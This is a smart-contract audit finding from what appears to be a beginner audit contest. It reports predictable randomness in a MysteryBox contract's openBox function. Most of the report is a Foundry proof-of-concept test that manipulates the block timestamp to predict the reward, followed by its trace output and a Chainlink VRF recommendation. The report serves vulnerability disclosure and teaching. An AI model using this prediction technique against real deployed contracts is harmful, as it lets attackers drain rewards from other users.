Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable RNG Vulnerability in MysteryBox Contract Enables Exploitative Reward Manipulation

Summary

MysteryBox contract contains a critical vulnerability due to its pseudo-random number generation (PRNG) mechanism, which is easily predictable. This allows attackers to manipulate and predict the rewards they receive from the mystery box, undermining the fairness and integrity of the contract.

Vulnerability Details

Predictable random number generation. The vulnerability is in the
openBox Function of the MysteryBox contract. The random value used to determine the reward is derived from the block's timestamp and the user's address. This approach is not secure as both the block timestamp and the user’s address can be controlled or predicted by an attacker.

The PRNG is implemented using:

uint256 randomValue = uint256(keccak256(abi.encodePacked(fuzzedTimestamp, attacker))) % 100;

This methodology relies on predictable and manipulable parameters (timestamp and address).

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol"; // Adjust the path as necessary
contract MysteryBoxExploitTest is Test {
MysteryBox mysteryBox;
address attacker = address(0xBEEF);
function setUp() public {
// Deploy the MysteryBox contract with initial seed funds
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testWeakPRNGExploit(uint256 startTime) public {
// Limit the fuzzed timestamp to a reasonable range to avoid overflow issues
uint256 fuzzedTimestamp = startTime % (2 ** 32);
vm.deal(attacker, 10 ether);
vm.startPrank(attacker);
// Attacker buys a box
mysteryBox.buyBox{value: 0.1 ether}();
// Warp the blockchain to the fuzzed timestamp
vm.warp(fuzzedTimestamp);
// Predict the random value based on fuzzed timestamp and attacker address
uint256 randomValue = uint256(keccak256(abi.encodePacked(fuzzedTimestamp, attacker))) % 100;
console.log("Fuzzed Timestamp:", fuzzedTimestamp);
console.log("Expected random value:", randomValue);
// Open the box and capture the reward
mysteryBox.openBox();
// Get the reward and determine the expected reward based on the random value
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
require(rewards.length > 0, "No rewards received");
string memory expectedReward;
if (randomValue < 75) {
expectedReward = "Coal";
} else if (randomValue < 95) {
expectedReward = "Bronze Coin";
} else if (randomValue < 99) {
expectedReward = "Silver Coin";
} else {
expectedReward = "Gold Coin";
}
console.log("Received reward:", rewards[0].name);
console.log("Expected reward:", expectedReward);
require(
keccak256(bytes(rewards[0].name)) == keccak256(bytes(expectedReward)),
"Exploit failed: reward does not match expectation"
);
console.log("Exploit success: received the expected reward:", expectedReward);
vm.stopPrank();
}
}

Output

[83327] MysteryBoxExploitTest::testWeakPRNGExploit(3968)
├─ [0] VM::deal(0x000000000000000000000000000000000000bEEF, 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000bEEF)
│ └─ ← [Return]
├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [0] VM::warp(3968)
│ └─ ← [Return]
├─ [0] console::log("Fuzzed Timestamp:", 3968) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Expected random value:", 24) [staticcall]
│ └─ ← [Stop]
├─ [48154] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [2123] MysteryBox::getRewards() [staticcall]
│ └─ ← [Return] [Reward({ name: "Coal", value: 0 })]
├─ [0] console::log("Received reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Expected reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Exploit success: received the expected reward:", "Coal") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.12ms (17.62ms CPU time)
  • The fuzzed timestamp used was 3968,

  • The expected random value, computed using the fixed timestamp and the attacker's address, was
    24,

  • The test demonstrated that, given the manipulated timestamp, the reward "Coal" was successfully predicted.
    The log statements confirm each step, showing the fuzzed timestamp, expected random value, received reward, and expected reward, which matched as predicted, verifying the exploit's success.

Impact

The vulnerability allows an attacker to:

Predict the random value generated by the contract.
Determine and secure the most desirable rewards by manipulating timestamps and transactions.
Systematically exploit the contract to drain it of high-value rewards, compromising the contract's integrity and fairness for all users.

Tools Used

  • Foundry

Recommendations

Chainlink VRF (Verifiable Random Function): Utilize Chainlink VRF for secure and tamper-proof random number generation.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!